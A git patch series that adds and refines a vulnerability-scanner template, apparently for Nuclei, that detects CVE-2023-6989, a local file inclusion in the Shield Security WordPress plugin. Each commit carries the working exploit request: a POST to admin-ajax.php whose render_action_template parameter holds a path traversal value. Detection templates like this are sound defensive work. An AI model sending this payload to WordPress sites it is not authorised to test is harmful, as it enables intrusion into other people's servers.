From d5993c3282a95b5f7dbdb4ba203150da2d1fdca5 Mon Sep 17 00:00:00 2001 From: Kazgangap Date: Tue, 30 Apr 2024 12:03:59 +0300 Subject: [PATCH 1/3] add cve-2023-6989 --- http/cves/2023/CVE-2023-6989.yaml | 55 +++++++++++++++++++++++++++++++ 1 file changed, 55 insertions(+) create mode 100644 http/cves/2023/CVE-2023-6989.yaml diff --git a/http/cves/2023/CVE-2023-6989.yaml b/http/cves/2023/CVE-2023-6989.yaml new file mode 100644 index 0000000000..1afc431161 --- /dev/null +++ b/http/cves/2023/CVE-2023-6989.yaml @@ -0,0 +1,55 @@ +id: CVE-2023-6989 + +info: + name: Shield Security WP Plugin <= 18.5.9 - Unauthenticated Local File Inclusion + author: Kazgangap + severity: critical + description: | + The Shield Security Smart Bot Blocking & Intrusion Prevention Security plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 18.5.9 via the render_action_template parameter. This makes it possible for unauthenticated attacker to include and execute PHP files on the server, allowing the execution of any PHP code in those files. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2023-6989 + - https://www.cvedetails.com/cve/CVE-2023-6989/ + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2023-6989 + cwe-id: CWE-22 + epss-score: 0.00282 + epss-percentile: 0.68187 + cpe: cpe:2.3:a:getshieldsecurity:shield_security:*:*:*:*:*:wordpress:*:* + metadata: + vendor: getshieldsecurity + product: shield_security + framework: wordpress + tags: wordpress,plugin,lfi + +http: + - method: POST + path: + - "{{BaseURL}}/wp-admin/admin-ajax.php" + + headers: + User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0 + Accept: "*/*" + Accept-Language: en-US,en;q=0.5 + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + X-Requested-With: XMLHttpRequest + Connection: close + Sec-Fetch-Dest: empty + Sec-Fetch-Mode: cors + Sec-Fetch-Site: same-origin + + body: | + action=shield_action&ex=generic_render&exnonce=5a988a925a&render_action_template=../../icwp-wpsf.php + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - '"dashboard_shield"' + - '"shield_action"' + - '"search_shield"' \ No newline at end of file From 323bb95b6ad84a151b62eec2724c3712efde0263 Mon Sep 17 00:00:00 2001 From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com> Date: Tue, 30 Apr 2024 14:49:18 +0530 Subject: [PATCH 2/3] lint fix --- http/cves/2023/CVE-2023-6989.yaml | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/http/cves/2023/CVE-2023-6989.yaml b/http/cves/2023/CVE-2023-6989.yaml index 1afc431161..f7cfc2fbcc 100644 --- a/http/cves/2023/CVE-2023-6989.yaml +++ b/http/cves/2023/CVE-2023-6989.yaml @@ -1,7 +1,7 @@ id: CVE-2023-6989 info: - name: Shield Security WP Plugin <= 18.5.9 - Unauthenticated Local File Inclusion + name: Shield Security WP Plugin <= 18.5.9 - Local File Inclusion author: Kazgangap severity: critical description: | @@ -21,7 +21,7 @@ info: vendor: getshieldsecurity product: shield_security framework: wordpress - tags: wordpress,plugin,lfi + tags: cve,cve2023,wp,wordpress,wp-plugin,lfi http: - method: POST @@ -41,15 +41,16 @@ http: body: | action=shield_action&ex=generic_render&exnonce=5a988a925a&render_action_template=../../icwp-wpsf.php - + matchers-condition: and matchers: - type: status status: - 200 - + - type: word words: - '"dashboard_shield"' - '"shield_action"' - - '"search_shield"' \ No newline at end of file + - '"search_shield"' + condition: and From 1971ae94e683e47cdd079d41a9d10ec35effc89d Mon Sep 17 00:00:00 2001 From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com> Date: Tue, 7 May 2024 17:19:33 +0530 Subject: [PATCH 3/3] updated macthers --- http/cves/2023/CVE-2023-6989.yaml | 43 +++++++++++++++---------------- 1 file changed, 21 insertions(+), 22 deletions(-) diff --git a/http/cves/2023/CVE-2023-6989.yaml b/http/cves/2023/CVE-2023-6989.yaml index f7cfc2fbcc..c6f8150e45 100644 --- a/http/cves/2023/CVE-2023-6989.yaml +++ b/http/cves/2023/CVE-2023-6989.yaml @@ -7,8 +7,8 @@ info: description: | The Shield Security Smart Bot Blocking & Intrusion Prevention Security plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 18.5.9 via the render_action_template parameter. This makes it possible for unauthenticated attacker to include and execute PHP files on the server, allowing the execution of any PHP code in those files. reference: + - https://wpscan.com/vulnerability/a485aee7-39a0-418c-9699-9afc53e28f55/ - https://nvd.nist.gov/vuln/detail/CVE-2023-6989 - - https://www.cvedetails.com/cve/CVE-2023-6989/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 @@ -18,39 +18,38 @@ info: epss-percentile: 0.68187 cpe: cpe:2.3:a:getshieldsecurity:shield_security:*:*:*:*:*:wordpress:*:* metadata: + verified: true + max-request: 1 vendor: getshieldsecurity product: shield_security framework: wordpress - tags: cve,cve2023,wp,wordpress,wp-plugin,lfi + publicwww-query: "/wp-content/plugins/wp-simple-firewall" + tags: cve,cve2023,wp,wordpress,wp-plugin,lfi,shield-security http: - - method: POST - path: - - "{{BaseURL}}/wp-admin/admin-ajax.php" + - raw: + - | + POST /wp-admin/admin-ajax.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - headers: - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0 - Accept: "*/*" - Accept-Language: en-US,en;q=0.5 - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - X-Requested-With: XMLHttpRequest - Connection: close - Sec-Fetch-Dest: empty - Sec-Fetch-Mode: cors - Sec-Fetch-Site: same-origin - - body: | - action=shield_action&ex=generic_render&exnonce=5a988a925a&render_action_template=../../icwp-wpsf.php + action=shield_action&ex=generic_render&exnonce=5a988a925a&render_action_template=../../icwp-wpsf.php matchers-condition: and matchers: - - type: status - status: - - 200 - - type: word + part: body words: - '"dashboard_shield"' - '"shield_action"' - '"search_shield"' condition: and + + - type: word + part: header + words: + - 'application/json' + + - type: status + status: + - 200